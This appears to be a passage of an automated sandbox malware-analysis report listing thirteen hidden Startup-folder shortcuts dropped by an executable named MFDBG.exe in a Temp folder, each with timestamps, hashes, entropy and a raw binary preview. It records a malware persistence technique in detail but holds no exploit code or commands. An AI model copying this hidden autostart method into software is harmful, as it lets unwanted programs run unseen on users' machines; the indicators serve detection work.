C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14662e32a3fc4e91a626d2db03168433.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923434114595304
Encrypted:	false
SSDEEP:	24:82Bfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88zEvZ0yRO7DLO2zdxdRd1kyg
MD5:	009FC9033903048F7282C056C5655B3A
SHA1:	7DC14AB58FDC0FB8EDF5BC26200EFD48261F18A3
SHA-256:	C7CFE84ED6E94DB99E65A1096FABBF192F88BD39DD4AE969734D20E87E24F1A1
SHA-512:	93C8565697E07840FA0AB0C480085C3B5D3A0B888DC2FD760EA2ED752BF3F56757FA7035B41536B96F7A552ADCD7D7E191A8BD660AAEE52105477BA30A496876
Malicious:	false
Preview:	L..................F....".......d....4'd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14dac3ce017647e79dec85e0cd0db19e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925105824346166
Encrypted:	false
SSDEEP:	24:8yBf28EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	122B6126F4746F9E0BCDE232ADC157C9
SHA1:	4A42ECB25C4C03BCEADCF00CEF3D2C0E304587D9
SHA-256:	C7327F236F3B1C94513C04023ED56D6ACBF1639D6A580989B4A1D276CF3E003B
SHA-512:	76AD930E8997BD4EA196003C3E60FCE5E742D41B0F4A78C7EB47322F21A9CCC7684AD7B757AE8AC0EF98ED88C0540927634A2C1CDAC2F00FAD387456925673F2
Malicious:	false
Preview:	L..................F....".......d....._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14decc4e96ed4e5b9bf70a433d322544.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925702024758104
Encrypted:	false
SSDEEP:	24:8JBfVkD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8zt9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	237588C2A4B1B42FF4D6818901313131
SHA1:	2200CE90F185AB5914523C2BCAED1B4F9333E524
SHA-256:	369E9DF915E0C3EA2C4961A4C74D12A0ABDAC2FB954E562F05AA7090A8B813B6
SHA-512:	FA7898B81E9BE0220176B4D8AE840792C8E5AF6D9833099E4B3E8F88E599C07B0E1CBDBE6FB98A652333E7B6D11FFAB64C8D0C5CEE7FBB85360A88C579EBB561
Malicious:	false
Preview:	L..................F....".......d....-.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....,.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14f213e4955340d38f94a90e47c50a0c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923653189551678
Encrypted:	false
SSDEEP:	24:85QBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85e2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	861AA4B16ABCC9B529D5D8C7C20FF4A6
SHA1:	F683B016917F729C71E40AB70CAA96C55DCFAEE8
SHA-256:	007F5A2EA2A82487F9403B6733F6B2C5159E262440B2F2DF34367DC0FB740AA6
SHA-512:	2545E498ADE1F8C5517D4A7F2C33678139078981341211630F5F4013BC4FC14A8B3016BFA6F783E37C8895BE724D9DC6A049561AB7FEE702637D95238CF18F87
Malicious:	false
Preview:	L..................F....".......d....@~Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_152a351b394a40a5a7ec41a18d7d5598.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9238863723767805
Encrypted:	false
SSDEEP:	24:8bBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	467F6D082F955C6B86D24E7547DCB9E2
SHA1:	5F1A5914389E1B08A4C7CB1A3F4D093C186217D0
SHA-256:	8FFDFC07494B2AAE097F1DC5FB473DED79B7F2DCA3131DE54F331DCDC0302AC1
SHA-512:	B8ED79C4D2AD4AC581D7C79CEC900B09B5BD3D7DD2FCB0AB6155B85C1950F8EC19671E6EF17F17E2131036AEEA2C208184259D4C4511016E4C78AE052E8D0F67
Malicious:	false
Preview:	L..................F....".......d......:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_154aaa05028a4d2baf6fc7edb815a863.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915828886008739
Encrypted:	false
SSDEEP:	24:8qBfRo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ojEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6A555576BD7C9FF7A720BA749980B869
SHA1:	6A40439EACCE5C1993561335278E2397444D533D
SHA-256:	DC55D25E9FB4A23DE76AD9F375CE824203F1FBBC832B670E23E75E72FB19467D
SHA-512:	A96CB130352B16468A1AD7CD9E2E4E09FD091DC55590C99B27F59D489724DA2DE9F8DB691DCD0FB085AC3C60A7D5A15F5C1F444E7F6472F21DF96286699E4A2D
Malicious:	false
Preview:	L..................F....".......d...@.=:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....$-:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_156f6c1646d74b83a60a72b2da68cefb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9303577186040455
Encrypted:	false
SSDEEP:	24:8wBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4FB05F8A19BA113936D6F8E31A6496E7
SHA1:	7C84EA7BEA1831BD426BC87A3CDD20A2BA159935
SHA-256:	2E217C6750DC89A1556F5441D06C0F0DF2447EB6779EEBDCD0BA49D1EDADF08B
SHA-512:	B8A8B29242F7BC4FA49AE5684F3C4B2B9CCD40D5B3FB19822A4207F22EF2D48F4701C3BFBE2FB8B75135E8D700941D8CBBEEEB3FDA2230635605AE0A35DD637D
Malicious:	false
Preview:	L..................F....".......d....-.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1572f0d6def74c8b9a8c2ab8f738dcc2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921524386842845
Encrypted:	false
SSDEEP:	24:8XvuBftAp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XvE1FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CBB1EA4AB4FE19A4785AAD83D16ED59D
SHA1:	0C4D77A22C4BFB8C66E2CA262CC36DF4D517091B
SHA-256:	FF125FC59DC0A2A1AE495EB968E473DF52182493A0922CF7B75941FD3388AD45
SHA-512:	817EAFAAAC809524A2AFDCF96DAD211147C584462295E54B0FB3BE144C2F53BC2DF2EEC1EFB1E560E19E0D63C60F97538D18CEB2A8687A053F187BA00CCA5E33
Malicious:	false
Preview:	L..................F....".......d...vF].d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...vF].d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_15a5390a7709403fb8940c6b32290678.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.911383615913923
Encrypted:	false
SSDEEP:	24:8HuBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HE5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	853AE3C5970B17107B94869C61D1FF82
SHA1:	23577FB9C3B5ED4B27341E1151593A5D8A433FD7
SHA-256:	9A6DFB539E4904B56D0A4C34A16520BE6F4C96FD51227894E6EDB4E394FCE8FB
SHA-512:	01B9A7308A5727492D514A7E7EAF5184CB4FA43261565FC3BFA10E5303EDA025985C1A805DB37DFEFF4AA8D9D68AFFEC5AB4225E1FA4E7B7F023A261024CC034
Malicious:	false
Preview:	L..................F....".......d....t.Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_162de57ea6f24e7a90bf4b6e4db896c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922212245037672
Encrypted:	false
SSDEEP:	24:8zBf048EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8189EvZ0yRO7DLO2zdxdRd1kyg
MD5:	8F1B1E91C18D1FD3544ABEC198E58669
SHA1:	1AAE6415A8749B8BB54344603DB1A461BA6D331A
SHA-256:	08EDF81AC7E238F7A69A383F3C58D164F420F6AEB8DB5013CF9B03B14763706B
SHA-512:	DEEDBBDE18FFFC5B5536F541D620BB4D9576152B550C8210EF2D2F38BFC30A5578A69528C2A8AFC739E4AC4591955CC4EC327F2D8FEFA3EC8AB469DBF040685E
Malicious:	false
Preview:	L..................F....".......d.....d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_163453e47915407487c8012c3b0b8886.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924119555201882
Encrypted:	false
SSDEEP:	24:8CP3BfiH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8cTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E0EFC2493712DA17FE11AE935361A736
SHA1:	B13F8C8ADBB7AEF5FA192E0B8B6C19DC35467275
SHA-256:	E20F9FF53B7609A7F13377CA8F2354FCBF9CB0ADD527CE8E5E0D5AA5AD05669B
SHA-512:	F8F261C196051473B6B85BC5BC2199B0B2A541EB72D14BB00CBB0C6C9F550249A66F4083EBEAC1E56B4E05E97E56208493954511EE801B8D6A1983300F24CEB7
Malicious:	false
Preview:	L..................F....".......d...j.")d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...j.")d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_16dd13ce59324b0e95b10c49a9ccafe3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918108341007813
Encrypted:	false
SSDEEP:	24:8rBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2A2C75055AAC2B2D6304A45587B31117
SHA1:	852249F964E4DCD30B598712314BC3E3E2CA71CB
SHA-256:	3581F295D57CB477CA95B34CCB6F3028656285DE2E35CF7FFEAAF85BDBA12872
SHA-512:	A4DAD62E2E05047A1AF01367412C6047C650551DDF1BBC8A4B211980E035C55E0541A48D3F2E2B1E30C8CEFC253F4F2E510C199F6BF43DF5B350973566C564F1
Malicious:	false
Preview:	L..................F....".......d...R..9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...@g.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_173784ed6f54426c9d319eed40ed4d66.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918802432819645
Encrypted:	false
SSDEEP:	24:8zBfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81UJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	229EF71AAEC4C8A857ADD5BFDC734FFA
SHA1:	5165C8B3F76394DB31A8223E8B12FCFEF5540C3A
SHA-256:	E51FB32D577D77B60DF2FFDE5A1BFAFA328956E246E4FEBEE06BE975C6A46086
SHA-512:	B8177861582919DA0B9768D5DDD20D78A475A4777B0F62430F0449231E21DF17FC167D70D400F5FEE6A2BA78D22FE906088B937FF085C35031EC336D60411019
Malicious:	false
Preview:	L..................F....".......d....E$\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

